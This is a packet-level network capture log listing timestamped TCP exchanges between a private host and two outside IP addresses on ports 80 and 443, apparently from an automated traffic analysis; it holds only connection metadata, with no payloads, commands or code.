Oct 7, 2024 19:33:18.772572994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772594929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772669077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772687912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772699118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772711039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772746086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772757053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.772764921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.772804976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.775680065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775698900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775710106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775727034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.775744915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.775815964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775827885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775840044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775851011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.775862932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.775880098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.775902987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.789634943 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.789711952 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.789856911 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.789920092 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.789937019 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.789947987 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.789952993 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.791769981 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.791790009 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.791866064 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.791975975 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.791985989 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.849803925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849817038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849828959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849849939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849864960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849867105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849878073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849889994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849898100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849900961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849931002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849935055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849947929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849956036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849960089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849971056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.849981070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.849984884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850007057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850017071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850028992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850040913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850050926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850064039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850075960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850100994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850261927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850301027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850372076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850383043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850409985 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850433111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850438118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850450993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850461960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850476980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850478888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850491047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850497961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850508928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850517035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850521088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850533962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850543022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850569963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.850601912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850611925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.850651979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.883306980 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.885046005 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.885066032 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.885560989 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.885565996 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.948295116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.953083038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.978543997 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.978619099 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.978871107 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.979372978 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.979402065 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.979456902 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.979465008 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.983606100 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.983644962 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.983871937 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.984273911 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.984288931 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.994878054 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.995381117 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.995398045 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.995841026 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.995845079 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.092536926 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.092633963 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.093986988 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.094012976 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.094012976 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.094029903 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.094038010 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.096270084 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.096302032 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.096419096 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.096520901 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.096532106 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.122983932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.122999907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123016119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123049974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123071909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123076916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123094082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123110056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123117924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123143911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123167992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123195887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123229980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123241901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123287916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123337030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123353004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123368979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123378992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123394966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123399973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123408079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123414040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123433113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123435974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123452902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123486042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123490095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123506069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123522043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123536110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123550892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123562098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123568058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123606920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123608112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123629093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123636961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123646021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123661041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123663902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123694897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123698950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123716116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123728037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123738050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123756886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123850107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123866081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123881102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123894930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123895884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123903036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123913050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123919964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123929977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123934031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123946905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123954058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123961926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123964071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123979092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.123989105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.123996973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124001980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124012947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124021053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124027967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124042034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124044895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124053001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124062061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124070883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124078989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124090910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124099016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124103069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124115944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124119043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124135017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124144077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124159098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124169111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124169111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124176979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124191999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124201059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124209881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124217033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124222994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124226093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124244928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124252081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124263048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124268055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124286890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124291897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124303102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124319077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124330997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124337912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124352932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124352932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124361038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124368906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124373913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124381065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124388933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124404907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124412060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124422073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124430895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124432087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124447107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124473095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124701977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124723911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124739885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124756098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124766111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124771118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124778032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124788046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124803066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124809980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124818087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124833107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124835968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124840975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124849081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124859095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124866962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124876976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124885082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124891996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124907017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124916077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124923944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124931097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124947071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124952078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124955893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124970913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124988079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.124990940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.124990940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125014067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125025988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125041008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125051975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125067949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125072956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125083923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125092983 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125102043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125111103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125118971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125124931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125139952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125140905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125157118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125163078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125175953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125176907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125191927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125197887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125207901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125216007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125232935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125236988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125253916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125255108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125266075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125269890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125287056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125289917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125303030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125309944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125319004 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125319004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125336885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125338078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125354052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125369072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125371933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125381947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125397921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125401020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125411987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125416040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125427961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125436068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125444889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125451088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125462055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125469923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125477076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125483990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125494003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125503063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125510931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125518084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125529051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125535965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125545979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125555992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125565052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.125571966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125586033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.125601053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.511991978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.512015104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.512031078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.512056112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.512072086 CEST	80	49718	46.8.231.109	192.168.2.7
